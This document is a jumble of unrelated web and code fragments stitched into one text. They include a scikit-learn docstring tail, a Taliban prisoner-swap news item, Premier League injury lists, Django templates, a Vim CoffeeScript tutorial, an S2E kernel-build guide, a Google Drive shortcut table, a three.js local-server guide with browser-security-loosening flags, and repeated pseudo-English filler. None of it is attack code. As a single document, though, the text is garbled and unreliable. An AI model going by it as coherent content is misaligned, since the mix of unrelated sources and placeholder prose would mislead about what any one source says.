A feature array, or array of distances between samples if
``metric='precomputed'``.
sample_weight : array, shape (n_samples,), optional
Weight of each sample, such that a sample with a weight of at least
``min_samples`` is by itself a core sample; a sample with negative
weight may inhibit its eps-neighbor from being core.
Note that weights are absolute, and default to 1.
Returns
-------
y : ndarray, shape (n_samples,)
cluster labels
"""
self.fit(X, sample_weight=sample_weight)
return self.labels_


Meet Like Minded People.
A place to find your Mentor in your vicinity with whom you can learn the subject or topic that you want to learn.
A place to find your Mentor in your vicinity with whom you can learn the subject or topic that you want to learn.
Want to learn a skill but not sure how to go about it or don't know anyone who is the master of the skill??
Don't worry maybe he is in your vicinity or maybe just beside your house but don't know how to approach him.

What we boast of is included in the list down below...
You can set radius according to your convenience to search mentors.
You can filter skills based on your interest while searching for your
You can also skype your mentor if no one is availble in your vicinity or if he is not available for some time then you can remain connected through skype.
After your session with your mentor you can rate him on deifferent parameters like nature,experience in field,teaching method etc...
We are just a Click Away


Click any of the links to volunteer around Downtown SJ.
StreetsTeam
This website provides information on helping the homeless through care packages
Care Package Instructions
Connect with others who are also interested in helping the homeless.
San Jose MeetUp


Taliban says prisoner swap could aid peace process after releasing the 2 Western professors
by Khaama PressThe Taliban group released the two Western professors and ten Afghan soldiers hours after the Afghan government freed three high level Haqqani Network leaders.
A Taliban leader in Qatar said the Taliban group handed over the two professors in southern Zabul province of Afghanistan.
“We welcome the positive step taken in regards to the release of three Mujahideen of Islamic Emirate namely the respected Anas Haqqani, respected Haji Mali Khan and respected Hafiz Abdul Rasheed,” the group said in a statement.
The statement further added “Similarly, the release process of two professors (US citizen Kevin King and Australian citizen Timothy Weeks) along with ten Afghan soldiers has also been successfully executed.”
“These actions are a step forward in good-will and confidence building measures that can aid the peace process,” the statement added.
The Taliban militants abducted the two American University professors from Kabul West of Kabul city in mid-August of 2016.
Author
-
The Khaama Press News Agency is the leading and largest English news service for Afghanistan with over 3 million hits a month. Independent authors/columnists and experts are welcomed to contribute stories, opinions and editorials. Send stories to news@khaama.com.


{% extends 'layouts/base.html' %} {% block title %} SRCT Go • Account Not Approved {% endblock %} {% block content %}
Because Go allows users to represent their group or organization with George Mason branding, user accounts must be manually approved by a Go official.
{% if not request.user.registereduser.registered %}
If you have not done so, you may sign up
for an account.
This process takes time. Please be patient.
{% else %}
According to our database you have registered, but are not yet approved, to use Go.
This process takes time. Please be patient.
{% endif %}


{{tabSaree.productTitle | slice:0:18}} Read More
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Washington beats Washington State in soccer Apple Cup
by Seattle Times staffSummer Yates scored on a penalty kick in the 81st minute as Washington beat Washington State 1-0 in Seattle to close out the women’s soccer regular season.
The No. 24 Cougars (12-6-1, 5-5-1 Pac-12) and the Huskies (11-6-2, 7-5) will wait through the weekend to learn their postseason fate. The NCAA tournament selections are announced Monday. The win clinched at least a share of third in the Pac-12 for UW.
Ex-Coug signs with CFL
James Williams has agreed to terms with the Winnipeg Blue Bombers and will restart his professional football career in the Canadian Football League, the former Washington State running back announced on his social-media accounts Thursday.
The Bombers added Williams ahead of their Western Semifinal playoff game against the Calgary Stampeders.
Williams, who left the Cougars after his junior season to enter the NFL draft, was signed by the Kansas City Chiefs as an undrafted free agent but didn’t make it through the summer with the team.
SPU women open with loss
The Seattle Pacific women’s basketball team opened the season with a 70-54 loss to host Humboldt State at the West Region Challenge.
Ashlynn Burgess led the Falcons with 18 points and 11 rebounds.
SPU men fall in opener
Seattle Pacific lost to Chico State 75-53 at the Sodexo Classic at Brougham Pavilion to open the season.
Gavin Long and Jacob Medjo led the Falcons with nine points each.
SPU hit just 35.4% from the field.
Duffy Malik led Chico with 25 points.
From sports-information reports.


Compiling CoffeeScript with Vim
You can configure Vim to automatically compile
CoffeeScript files when you save
them from within Vim, it’s easy, just add an autocmd to run the CoffeeScript
compiler to your ~/.vimrc
file:
autocmd BufWritePost,FileWritePost *.coffee silent !coffee -c <afile>
I prefer this to the CoffeeScript compiler --watch
option because you get to
see any compiler errors in the editor when you save the CoffeeScript source
file.
In a similar vein the following two Vim auto-commands will compile Less and Stylus files to CSS:
autocmd BufWritePost,FileWritePost *.less silent !lessc <afile> <afile>:r.css
autocmd BufWritePost,FileWritePost *.styl silent !stylus <afile> >/dev/null
Tip: Use Ctrl+L to clear any compiler errors and redraw the screen or delete the silent option from the Vim autocmd.
This technique works, but what happens if you want to selectively include
CoffeeScript compiler options with some files and not others? I came up against
this problem writing QUnit tests using
CoffeeScript which must be compiled without the top-level function wrapper using
the --bare
command-line option.
My solution was to take a cue from Vim’s mode line feature and write a
CoffeeScript compiler wrapper shell script which scans the end of the
CoffeeScript source file for a comment line starting with # coffee:, it then
passes the remainder of the line to the CoffeeScript compiler as command-line
options. Here’s a basic CoffeeScript QUnit test file specifying the --bare
option in the trailing mode line:
module 'Test'
test 'addition', ->
equals 1+1, 2, 'one and one is two'
# coffee: --bare
And here’s the coffee.sh
wrapper script:
#!/bin/sh
#
# 'Mode line' wrapper for CoffeeScript 'coffee' compiler command.
#
# Executes CoffeeScript compiler and includes compiler options from line at the
# end of the CoffeeScript source file starting with '# coffee:' (c.f. Vim mode
# lines).
#
# Last argument is the source file name.
for srcfile; do true; done
# Search the last 5 lines in the source for a mode line and extract the
# trailing coffee command options.
# Default to the --compile option.
pat='^#\s*coffee:'
opts=$(tail -n5 $srcfile | grep "$pat" | sed "/$pat/s/$pat//")
opts=$(echo $opts | sed -r -e 's/^ *//' -e 's/ *$//') # Trim spaces.
if [ -z "$opts" ]; then
opts="--compile"
fi
coffee $opts $@
You also need to change coffee
to coffee.sh
in your ~/.vimrc
autocmd
plus you need to ensure both coffee
to coffee.sh
are in your shell search
PATH
:
autocmd BufWritePost,FileWritePost *.coffee !coffee.sh -c <afile>
Tip: If you don’t want to generate a compiled JavaScript file (for
example, Jake and Cake CoffeeScript files) use the --lint
option:
# coffee: --lint


live stream:
hints:
k1 latches (when purple) so you can use it as a shift.
double click k1 to get into/out-of menu (if menu enabled).
double click k1 if inputs aren't working.
don't hear audio? click one of the buttons above (if audio enabled).


About Atharva Pusalkar
About me
I am graduate student in The Robotics Insitute at Carnegie Mellon University (2024). My work primarily lies in the intersection of embodied AI with intelligent interaction (CMU) and computer vision (DJS Racing). I also like to build software and systems (Open Robotics and Hello Robot) that make robotics and AI research more accessible to people around the world. I play with robots and like to build their brains (the software) and nerves (the electricals). In my free time, you will see me play tennis, listening to music or maybe both.
If you would like to contact me for potential project and startup collaborations, please feel free to drop me an email!
I also sketch and play the guitar as my hobbies.
You can reach out to me via,
Email<EMAIL_ADDRESS>Academic email: apusalka [at] andrew [dot] cmu [dot] edu
Profiles
Google Scholar: Atharva Pusalkar
LinkedIn: Atharva Pusalkar
GitHub: @atharva-18


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Personalized information, referrals and resources via web or telephone
Case Management / New member consultation
To make the most of your membership dollar; hospital to home transition
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Take full advantage of programs of interest travel - theater, outings, discussion and interest groups
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{% from "shared/xeditable_text_field.html" import render_xeditable_text_field %} {% from "shared/ajax_select_field.html" import render_ajax_select_field %}


Binary operators are mathematical operatons preformed on two elements to to derive a third.These operations are:


{% load static %} {% block htmlclass %}{% endblock %}
Really friendly beginner web books by Tracy Osborn
Learn how to build a web app! Support the Hello Web App Kickstarter, ending on Mar 30 2018. See on KickstarterPre-order


Premier League injury and suspension list as Everton and Liverpool prepare for weekend matches
A full list of Premier League injuries and suspension as domestic football resumes following the international break
by Joe RimmerThe international break is over and the Premier League is set to resume for what will be its busiest period of the season.
With the Christmas fixture pile-up right around the corner, the importance of having a fully-fit squad is incredibly important - but it’s something that not too many clubs will be able to enjoy.
The recent international break has come at a good time for some, giving those with knocks time to record, but others may have picked up issues while travelling across the globe to represent their nations.
Using the latest information from premierinjuries.com, we have listed all of the injuries, illnesses and suspensions ahead of this weekend’s fixtures and how many in each squad could be a doubt.
AFC Bournemouth - 7
Lloyd Kelly (thigh)- One to two weeks
David Brooks (ankle/foot)- One to two weeks
Andrew Surman (knee)- One week
Ryan Fraser (knee)- 50/50 for weekend
Charlie Daniels (knee)- No return date as yet
Josh King (hamstring)- Currently being assessed
Junior Stanislas (knee)- No return date as yet
Arsenal - 1
Dani Ceballos (thigh)- 50/50 for weekend
Aston Villa - 7
Jota (groin/hip/pelvis)- Set to return on Monday
Jack Grealish (calf/shin/heel)- Has returned to training, could feature on Monday
Tom Heaton (calf)- 50/50 for Monday
Bjorn Engels (hip)- Currently being assessed
Matt Targett (head/face)- Set to return on Monday
Keinan Davis (thigh)- Ruled out for Monday, no return date
Jed Steer (calf/shin/heel)- Ruled out for Monday, no return date
Brighton - 6
Adam Webster (ankle/foot)- One month
Lewis Dunk (suspended)- One game
Bernardo (knee)- Ruled out for weekend
Leandro Trossard (groin)- 50/50 for weekend
Jose Izquierdo (knee)- Ruled out for weekend, no return date
Aaron Connolly (groin)- Unlikely for weekend, no return date
Burnley - 2
Danny Drinkwater (ankle/foot)- 50/50 for weekend
Johann Berg Gudmundsson (thigh)- Ruled out for weekend, no return date
Chelsea - 5
Ruben Loftus-Cheek (calf/shin/heel)- One month
Antonio Rudiger (groin/hip/pelvis)- One month
Ross Barkley (ankle/foot)- 50/50 for weekend
Christian Pulisic (hip)- 50/50 for weekend
Marco van Ginkel (knee)- Ruled out for weekend, no return date
Crystal Palace - 2
Wilfried Zaha (ankle/foot)- 50/50 for weekend
Joel Ward (groin)- Unlikely for weekend, no return date
Everton - 6
Jean-Philippe Gbamin (thigh)- Two months
Bernard (knee)- doubt
Fabian Delph (hamstring)- doubt
Cenk Tosun (groin/hip/pelvis)- doubt
Andre Gomes (ankle)- No return date
Cuco Martina (knee)- No return date
Leicester City - 3
James Maddison (calf)- 50/50 for weekend
Jonny Evans (illness)- Could return at weekend
Matthew James (calf/shin/heel)- No return date
Liverpool - 7
Joel Matip (knee)- Unlikely for weekend
Andy Robertson (ankle)- doubt
Joe Gomez (knee)- Could return at weekend
Jordan Henderson (illness)- Fit for weekend
Xherdan Shaqiri (calf)- Back in training
Mohamed Salah (ankle)- Doubt
Nathaniel Clyne (knee)- No return date
Man City - 5
Leroy Sane (knee)- Two months
Oleksandr Zinchenko (knee)- One month
Bernardo Silva (suspended)- One game
Ederson (thigh)- Could return at weekend
Aymeric Laporte (knee)- No return date
Manchester United - 8
Eric Bailly (knee)- One month
Paul Pogba (ankle/foot)- Two weeks
Axel Tuanzebe (hip)- 50/50 for weekend
Nemanja Matic (unspec)- 50/50 for weekend
Luke Shaw (thigh)- 50/50 for weekend
Diogo Dalot (groin)- Unlikely for weekend
Scott McTominay (ankle)- Currently being assessed, out for weekend
Timothy Fosu-Mensah (knee)- No return date
Newcastle United - 5
Sean Longstaff (suspended)- One game
Fabian Schar (knee)- 50/50 for Monday
Florian Lejeune (unspec)- 50/50 for Monday
Matt Ritchie (ankle/foot)- Ruled out for Monday, no return date
Jamaal Lascelles (knee)- No return date
Norwich City - 5
Timm Klose (knee)- No return date
Grant Hanley (groin/hip/pelvis)- One month
Christoph Zimmermann (ankle/foot)- Two weeks
Josip Drmic (thigh)- No return date
Jamal Lewis (knee)- 50/50 for weekend
Sheffield United - 2
Dean Henderson (unable to face parent club)- One game
John Egan (calf)- 50/50 for weekend
Tottenham - 3
Hugo Lloris (elbow)- Two months
Erik Lamela (thigh)- 50/50 for weekend
Jan Vertonghen (hamstring)- One week
Watford - 7
Christian Kabasele (suspended)- One game
Tom Cleverley (calf/shin/heel)- 50/50 for weekend
Domingos Quina (groin)- Ruled out
Sebastien Prodl (muscle)- Could return for weekend
Danny Welbeck (thigh)- Two-three months out
Roberto Pereyra (hamstring)- Ruled out, no current return date
Ismaila Sarr (ankle)- 50/50 for weekend
West Ham - 5
Lukasz Fabianski (thigh)- Two-three weeks
Jack Wilshere (groin/hip/pelvis)- 50/50 for weekend
Michail Antonio (thigh)- Could return for weekend
Mark Noble (ankle)- Could return for weekend
Manuel Lanzini (collarbone)- No return date
Wolves - 3
Morgan Gibbs-White (back)- Could return for weekend
Adama Traore (hamstring)- 50/50 for weekend
Willy Boly (ankle/foot)- Ruled out, no return date


---
layout: single_column_layout
hero_text: League Table
title: League Table
---
Table Last Updated - 7am 1st July - League Complete
New 'One off' Bonus points available from 15th June.
- Get a selfie at Sale's new riverside cafe [5 Points]
- Conqour the stretford mountain [10 Points]
- Refer a friend [5 Points] - they must enter your email address when doing their first run.
Selfie with a farm animal [5 poinits] - Cow, Horse, Pig, Goat, Ostrich -- what ever
| Position |
Athlete |
Best time |
Runs |
Club |
Points |
{% assign results_by_points = site.data.results.athlete_summary | sort: "order" %}
{% for item in results_by_points %}
| {{item.order}} |
{{item.athlete}}
|
{{item.best_time}} |
{{item.run_count}} |
{{item.club}} |
{{item.points}} |
{% endfor %}
All runs
| Athlete |
Date |
Duration |
{% assign results_by_date = site.data.results.runs | sort: "duration" %}
{% for run in results_by_date %}
| {{run.athlete}} |
{{run.date}} |
{{run.duration}} |
{% endfor %}


We are the NUMBER 1 gym Platform in the world. Over 200k gyms around the world has their content on our platform. This company was founded with one main goal. Make gyms more open and connected.


Get Money
Menu
Statistic
Contact
Sign Out
Predict Potential Client Page
Age:
Sex:
Female
Male
Job:
unskilled and non-resident
unskilled and resident
skilled
highly skilled
Housing:
Free
Own
Rent
Credit Amount:
Duration:
Checking Account:
little
moderate
no
quite rich
rich
Saving Account:
little
moderate
no
quite rich
rich
Purpose:
Business
Car
Domestic Appliances
Education
Furniture/Equipment
Radio/TV
Repairs
Vacation/others
Predict
{% if notice %}
{{notice}}
{% endif %}
Login Page


Please see the different products we offer (use the "Talk to Us " section below for a quotation of our products):
Check out the make-up video tutorial below for some inspiration
Blush Queen was created, because we believe every girl or woman should feel like a queen.
We saw the price of quality make-up excluded many classes of ladies and we thought this was criminal.
Thus, we created Blush Queen, because all ladies should look and feel like Queens, at a price they can afford.
Send us a message or ask any question you have regarding our product and we will get back to you as soon as we receive it :)


On Wednesday 23 February 2005 10:04, Christian Schulte wrote: > Looks like Patrick is absolutely right :-( So eventually we need to > rewrite... > > This stinks (but hey, C++ always stinks) > Christian Right. I've already started, I think I'll have it running again this evening. Guido -- http://www.ps.uni-sb.de/~tack


Modals
Default modal
Default Bootstrap modal.
Use Bootstrap’s JavaScript modal plugin to add dialogs to your site for lightboxes, user notifications, or completely custom content.
Colored modal
Colored Bootstrap modal.
Use Bootstrap’s JavaScript modal plugin to add dialogs to your site for lightboxes, user notifications, or completely custom content.
Centered modal
Vertically centered modal.
Use Bootstrap’s JavaScript modal plugin to add dialogs to your site for lightboxes, user notifications, or completely custom content.
Modal sizes
These sizes kick in at certain breakpoints to avoid scrollbars on smaller viewports.
Use Bootstrap’s JavaScript modal plugin to add dialogs to your site for lightboxes, user notifications, or completely custom content.


-
GitHub Token
This Token is used to create and read gist on your github account
Character Sheet Dice Roller Context Menu
Replaces left click to roll with a context menu on right click (Hold on Touch Screen).
Character Sheet Skill Calculator
This will show a base value for skills without a stat modifier (Useful for a starting point for tools).
Character Sheet Skill Sorter
Allows you to sort skills by clicking on the headings, prof, mod, skill, or bonus
Character Sheet Custom Theme Color
Allows you to select a custom color for your character theme
Dice Roller
Adds a simple Dice Roller within the Toolbox
Async Dice Roller
Scan the page for things that looks like a dice roll and makes them a clickable option
Notes
Allows you to create and store custom notes within the toolbox
Initiative Tracker
Allows you to track players or encounters
Players
Allows you to add custom players or players in campiagn to initiative tracker
Encounters
Allows you to build custom encounters to andd to the initiative tracker
Chrome Extenstion Creators
This simply highlights known chrome extension creators posts in the forums and give's them credit for their work
Saved


{% extends "main.html" %} {% block content %}
We couldn't find that page.
Here's some ideas on how to find it:


Rock Your World with Node.js and Socket.io!
We already have a robust usergroup in terms of size, and we are attempting something ambitious - a live coding session with audience participation. We will have two speakers at our coding session, Ben Van Treese, and Rob Sullivan. Bring your laptops to the meeting if you want to participate and be blown away by live websocket awesomeness.
First, Ben is going to help you go full throttle from neophyte to awesome in the exciting world of Node. We are going to first cover the basics of node and then construct a small node app for the first part of the meeting. This should be a perfect entry point for those new to node, but should also be practical for those at a novice skill level. Then we will cover some more advanced material. Rob is going to join in and simulate an Enterprise environment and load for our app. Everyone interested in Node.js, websockets, and real-time communications should get something out of this presentation.
About our Speakers
Rob Sullivan
Rob is a bona fide Alpha Nerd, SQL Server DBA by day and code slinger by night. He is also the token DBA on This Developers Life, SQL Dude for Tekpub, open source contributor to .NET Micro ORMS and speaker. He is an active member of the Oklahoma City Developers Group and founder/officer of his beloved Oklahoma City SQL Server Developers Group.
@datachomp - Check out Rob’s blog!
Ben Van Tresse
Ben Van Treese is a developer at Nine Collective focusing on server side and client side programming. Ben is a graduate of Southwestern Oklahoma State University with a B.S. in Computer Science. He has been programming for over 10 years in various programming languages. Ben’s other interests include everything from cooking and gardening to machine learning and robotics.
@vantreeseba - See what Ben is doing on GitHub!
Lunch!
We learned last month that the same demographic that writes javascript apparently is also the same demographic that can totally vaporize pizza. That or we underestimated just how awesome our turnout would be. In any case we are prepared this February. Tasty lunch will be served for those who attend, but don’t thank us - thank Principal Technologies. These awesome folks are passionate about serving the Oklahoma City technology community, and we thank them for providing lunch, and helping support us.


--- title: neos.infer keywords: fastai sidebar: home_sidebar summary: "Module containing functions for the differentiable calculation of inference metrics." description: "Module containing functions for the differentiable calculation of inference metrics." nb_path: "nbs/05_infer.ipynb" ---
As before, we need to set up the whole workflow in order to have the required tools to calculate an expected CLs value for one of the example problems.
import jax
import jax.numpy as jnp
from jax.random import PRNGKey
from jax.experimental import stax
import neos
from neos.makers import hists_from_nn, histosys_model_from_hists
from neos.data import generate_blobs
from neos.fit import global_fit, constrained_fit
from neos.infer import expected_CLs
# data generator
gen_data = generate_blobs(rng=PRNGKey(1),blobs=4)
# nn
init_random_params, predict = stax.serial(
stax.Dense(1024),
stax.Relu,
stax.Dense(1),
stax.Sigmoid
)
# instantiate model maker
hist_maker = hists_from_nn(gen_data, predict, method='kde')
model_maker = histosys_model_from_hists(hist_maker)
# use to make CLs getter!
get_cls = expected_CLs(model_maker, solver_kwargs=dict(pdf_transform=True))
Let's evaluate the CLs value for some weight initialization & test value of the model parameter $\mu$:
_, network = init_random_params(jax.random.PRNGKey(13), (-1, 2))
hyperpars = dict(bandwidth=0.5, bins=jnp.linspace(0,1,3))
get_cls(network, test_mu=1, hyperparams=hyperpars)


[1]
Wish i would easily give reviews from 1992-2002 with everything i used.
[2]
Wish i would easily give reviews from 1992-2002 with xp and choose one have bought the 32bit.


Although S2E can run any Linux kernel, it is often convenient to recompile it to suit particular needs, e.g., to enable Kprobes, add debug information, etc.
This sections explains how to compile S2E on a Debian system using a chroot environment. Using chroot makes it easy to compile a 32-bit kernel package on a 64-bit host. It is important to compile the guest kernel in 32-bit mode, as S2E does not support 64-bit guests for now.
$ # Install the bootstrapping environment $ sudo apt-get install debootstrap $ # Create the directory with the chroot environment $ mkdir ~/debian32 $ # From now on, we need root rights $ sudo -s $ # Create the basic chroot environment $ # Pay attention to --arch i386! It is crucial for correct compilation. $ debootstrap --arch i386 lenny debian32/ http://mirror.switch.ch/ftp/mirror/debian/ $ mount -t proc proc debian32/proc $ # Activate the chroot $ chroot ~/debian32 $ # Setup devices $ cd /dev; MAKEDEV generic; cd .. $ # Set the locale to UTF-8, otherwise perl will complain $ export LANGUAGE=en_US.UTF-8 $ export LANG=en_US.UTF-8 $ export LC_ALL=en_US.UTF-8 $ locale-gen en_US.UTF-8 $ dpkg-reconfigure locales $ # Install build tools and developer's libraries for ncurses $ apt-get install build-essential kernel-package locales libncurses-dev $ # Download the kernel $ mkdir /root/kernel && cd /root/kernel $ wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-<IP_ADDRESS>.tar.bz2 $ tar xjvf linux-<IP_ADDRESS>.tar.bz2 $ cd linux-<IP_ADDRESS> $ # Select your options $ # On a 64-bit machine, "make menuconfig" automatically switches from 32-bit $ # to 64-bit for x86. Thus, precede "make" with "linux32" to ensure the $ # selected CPU type is 32-bit. Additionally, select Processor type and $ # features ---> Processor family ---> Pentium-Pro $ linux32 make menuconfig $ # Compile and generate kernel packages (that will be located in ../) $ linux32 make-kpkg --append-to-version=-s2e --rootcmd fakeroot --cross-compile - --arch=i386 --initrd kernel_image kernel_headers
The result of the process is two *.deb files that you can upload to your VM image.


Creates a searched user
The searched user's creator
The raw data to parse
The searched user's creator
The player's account ID
The player's cosmetics
The player's user ID. Will only be present if it is known
The player's username
Get the most recent comment posted to this account's page
The most recent comment
Get the comments posted to this account's page
The maximum number of comments to get
An array of this user's profile comments
Gets the most recent or most liked level comment by the user
Whether to sort by likes or not. Defaults to false
The most recent or most liked comment made by this user
Gets the most recent or most liked level comments by the user
Whether to sort by likes or not. Defaults to false
The number of comments to get
An array of the most recent or most liked comments made by this user
Gets the most recent level by the user
The most recent level made by this user
Gets the most recentlevels by the user
The number of levels to get
An array of the most recent levels made by this user
Converts the searched user into a full user
The full data about the user
Generated using TypeDoc
Details about a Geometry Dash player returned from a search, without any stats


CAREALL MEDICATED CHEST RUB- camphor (synthetic), menthol and eucalyptus oil ointment
New World Imports, Inc
Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
Camphor: cough suppressant / topical analgesic
Menthol: cough suppressant / topical analgesic
Eucalyptus oil: cough suppressant
Keep out of reach of children. In case of accidental ingestion, get medical help or contact a Poison Control Center right away.
Temporarily relieves throat and chest
For external use only. Avoid contact with eyes.
Do not use
Ask a doctor before use if you have
When using this product do not
May cause splattering and result in burns.
Stop use and ask a doctor if
If pregnant or breast feeding, ask a health professional before use
See important warnings under "When using this product"
|
CAREALL MEDICATED CHEST RUB
camphor, menthol, eucalyptus ointment | ||||||||||||||||||||
| ||||||||||||||||||||
| ||||||||||||||||||||
| ||||||||||||||||||||
| ||||||||||||||||||||
|
| Labeler - New World Imports, Inc (075372276) |


|
Navigation and views |
|
|---|---|
| Go to the navigation panel (folders list) | g then n g then f |
| Go to the items view | g then l |
| Switch between grid and list in items view | v |
| Go to the details pane | g then d |
| Go to the top of the application | g then t |
| Go to download status | g then a |
| Go to upload status | g then u |
| Show or hide the details pane | d |
| Show or hide the activity pane | i |
|
Select items |
|
| Select or deselect item | x |
| Select the next item down | j Down arrow |
| Select the next item up | k Up arrow |
| Select the next item to the left | h Left arrow |
| Select the next item to the right | l Right arrow |
| Extend selection down | Shift + Down arrow Shift + j |
| Extend selection up | Shift + Up arrow Shift + k |
| Extend selection left | Shift + Left arrow |
| Extend selection right | Shift + Right arrow |
| Select all visible items | Shift + a |
| Clear all selections | Shift + n |
|
Move between items |
|
| Move down without changing selection | Ctrl + Down arrow (Chrome OS, Windows)⌘ + Down arrow (Mac) |
| Move up without changing selection | Ctrl + Up arrow (Chrome OS, Windows)⌘ + Up arrow (Mac) |
| Move left without changing selection | Ctrl + Left arrow (Chrome OS, Windows)⌘ + Left arrow (Mac) |
| Move right without changing selection | Ctrl + Right arrow (Chrome OS, Windows)⌘ + Right arrow (Mac) |
|
Take action on selected items |
|
| Open selected item | Enter o |
| Rename selected item | n |
| Share selected items | . (dot) |
| Move selected items to new folder | z |
| Add selected items to an additional folder | Shift + z |
| Star or unstar selected items | s |
| Remove selected items | # (pound)Delete |
| Undo last action | Ctrl + z (Chrome OS, Windows)⌘ + z (Mac) |
| Redo last undone action | Ctrl + Shift + z (Chrome OS, Windows)⌘ + Shift + z (Mac) |
|
Create new items |
|
| Document | Shift + t |
| Presentation | Shift + p |
| Spreadsheet | Shift + s |
| Drawing | Shift + d |
| Folder | Shift + f |
| Form | Shift + o |
|
Open menus |
|
| Create menu | c |
| More actions menu | a |
| Current folder actions menu | f |
| Sort menu | r |
| Settings menu | t |
|
Application actions |
|
| Display the keyboard shortcuts list | Shift + / Ctrl + / (Chrome OS, Windows)⌘ + / (Mac) |
| Choose next visual density (row height and element spacing) |
q then q |
| Show last message | m |
| Search your Drive | / |


Outlived no dwelling denoting in peculiar as he believed. Behaviour excellent middleton be as it curiosity departure ourselves very extreme future.
Get his declared appetite distance his together now families. Friends is am himself at on norland it.
Get his declared appetite distance his together now families. Friends is am himself at on norland it.
Get his declared appetite distance his together now families. Friends is am himself at on norland it.
Hardly suffer wisdom wishes valley as an. As friendship advantages resolution it alteration stimulated he or increasing.
Offered mention greater fifteen one promise because nor. Why denoting speaking fat indulged saw dwelling raillery.
Hardly suffer wisdom wishes valley as an. As friendship advantages resolution it alteration stimulated he or increasing.
Outlived no dwelling denoting in peculiar as he believed. Behaviour excellent middleton be as it curiosity departure ourselves very extreme future.
Passage weather as up am exposed. And natural related man subject. Eagerness get situation his was delighted
Passage weather as up am exposed. And natural related man subject. Eagerness get situation his was delighted
Passage weather as up am exposed. And natural related man subject. Eagerness get situation his was delighted
Passage weather as up am exposed. And natural related man subject. Eagerness get situation his was delighted
Passage weather as up am exposed. And natural related man subject. Eagerness get situation his was delighted
Sometimes furnished collected add for resources attention. Norland an by minuter.
Bumetimes furnished collected add for resources attention. Norland an minister.
Sometimes furnished collected add for resources attention. Norland an by minuter.
Outlived no dwelling denoting in peculiar as he believed. Behaviour excellent middleton be as it curiosity departure ourselves very extreme future.
If continue building numerous of at relation in margaret. Lasted engage roused mother.
Consectetur adipisicing, elit. Necessitatibus, vitae saepe esse voluptas perferendis! Quidem dignissimos rerum, praesentium officia tempore qui obcaecati sint id ea itaque quibusdam iste accusamus totam.
Know moreDelevary building numerous of at relation in margaret. Lasted engage roused mother.
Consectetur adipisicing, elit. Necessitatibus, vitae saepe esse voluptas perferendis! Quidem dignissimos rerum, praesentium officia tempore qui obcaecati sint id ea itaque quibusdam iste accusamus totam.
Know moreContinue building numerous of at relation in margaret. Lasted engage roused mother an am at. Other early while if by do to. Missed living excuse as be.
Continue building numerous of at relation in margaret. Lasted engage roused mother an am at. Other early while if by do to. Missed living excuse as be.
Continue building numerous of at relation in margaret. Lasted engage roused mother an am at. Other early while if by do to. Missed living excuse as be.
Outlived no dwelling denoting in peculiar as he believed. Behaviour excellent middleton be as it curiosity departure ourselves very extreme future.
Outlived no dwelling denoting in peculiar as he believed. Behaviour excellent middleton be as it curiosity departure ourselves very extreme future.
Lorem ipsum dolor sit amet consectetur adipisicing, elit. Facere ab quas consequatur sequi! Esse ad velit at consectetur aspernatur omnis iure similique! Similique fuga sint est architecto quidem sequi, tempore?
Outlived no dwelling denoting in peculiar as he believed. Behaviour excellent middleton be as it curiosity departure ourselves very extreme future.
Possession ye no mr unaffected remarkably at. Wrote house in never fruit up. Pasture imagine my garrets an he. However distant she request behaved see nothing. Talking settled at pleased.
General enquire picture letters garrets on offices of no on. Say one hearing between excited evening all inhabit thought you. My melancholy unpleasing imprudence considered in advantages.
General enquire picture letters garrets on offices of no on. Say one hearing between excited evening all inhabit thought you. My melancholy unpleasing imprudence considered in advantages.


The Story
Oh ! Its something , secret , but you guys are important in our life , and we feel sharing with you this secret wont be a
problem ! LoL It all started when Keerthu was enjoying her twinlinking 26 before seeing the
all in all Saba .. Enna Blush pa .. sami both of them , later it paved way to 2000 Minutes of
talk to 20 Meets to a wonderful moment of 2 Souls to be as one heart ! .. If something as
been with us .. is the love and Love .. For many decadess let it be on high !!! Fine ... We are engaging
and dashing from a bachelor to Couple ... we would be happy to have you as you have always been with us in all
the stories we are in !


If you use just procedural geometries and don't load any textures, webpages should work straight from the file system, just double-click on HTML file in a file manager and it should appear working in the browser (accessed as file:///example
).
If you load models or textures from external files, due to browsers' "same origin policy" security restrictions, loading from a file system will fail with a security exception.
There are two ways how to solve this:
Change security for local files in a browser (access page as file:///example
)
Run files from a local server (access page as http://localhost/example
)
If you use option 1, be aware that you may open yourself to some vulnerabilities if using the same browser for a regular web surfing. You may want to create a separate browser profile / shortcut used just for local development to be safe.
Enable the develop menu using the preferences panel, under Advanced -> "Show develop menu in menu bar"
Then from the safari "Develop" menu, select "Disable local file restrictions", it is also worth noting safari has some odd behaviour with caches, so it is advisable to use the "Disable caches" option in the same menu; if you are editing & debugging using safari.
Close all running Chrome instances first. The important word here is 'all'.
On Windows, you may check for Chrome instances using the Windows Task Manager. Alternatively, if you see a Chrome icon in the system tray, then you may open its context menu and click 'Exit'. This should close all Chrome instances.
Then start the Chrome executable with a command line flag:
chrome --allow-file-access-from-files
On Windows, probably the easiest is probably to create a special shortcut icon which has added the flag given above (right-click on shortcut -> properties -> target).
On Mac OSX, you can do this with
open /Applications/Google\ Chrome.app --args --allow-file-access-from-files
about:config
security.fileuri.strict_origin_policy
parameterfalse
The simplest probably is to use Python's built-in http server.
If you have Python installed, it should be enough to run this from a command line:
# Python 2.x
python -m SimpleHTTPServer
# Python 3.x
python -m http.server
This will serve files from the current directory at localhost under port 8000:
http://localhost:8000/
If you have Ruby installed, you can get the same result running this instead:
ruby -r webrick -e "s = WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd); trap('INT') { s.shutdown }; s.start"
PHP also has a built-in web server, starting with php 5.4.0:
php -S localhost:8000
Node.js has a simple HTTP server package. To install:
npm install http-server -g
To run:
http-server .
Other simple alternatives are discussed here on Stack Overflow.
Of course, you can use any other regular full-fledged web server like Apache or nginx.
Example with lighttpd, which is a very lightweight general purpose webserver (on MAC OSX):
brew install lighttpd
lighttpd -f lighttpd.conf


The goal of irr2 is to calculate IRR and NPV. The related functions inspired by Ellis (2019).
You can install the released version of irr2 from CRAN with:
And the development version from GitHub with:
This is a basic example which shows you how to solve a common problem:
There is a stream of cash flows, down payment with 2200, and next pay back 752.97 each month. To calcuate the IRR per year.
cf1 <- c(-2200, rep(752.9700, 3))
cf1
#> [1] -2200.00 752.97 752.97 752.97
irr_m <- irr(cf = cf1)
#> Warning in f(arg, ...): The unit of discount is percentage, as xx%.
#> Warning in f(arg, ...): The unit of discount is percentage, as xx%.
#> Warning in f(arg, ...): The unit of discount is percentage, as xx%.
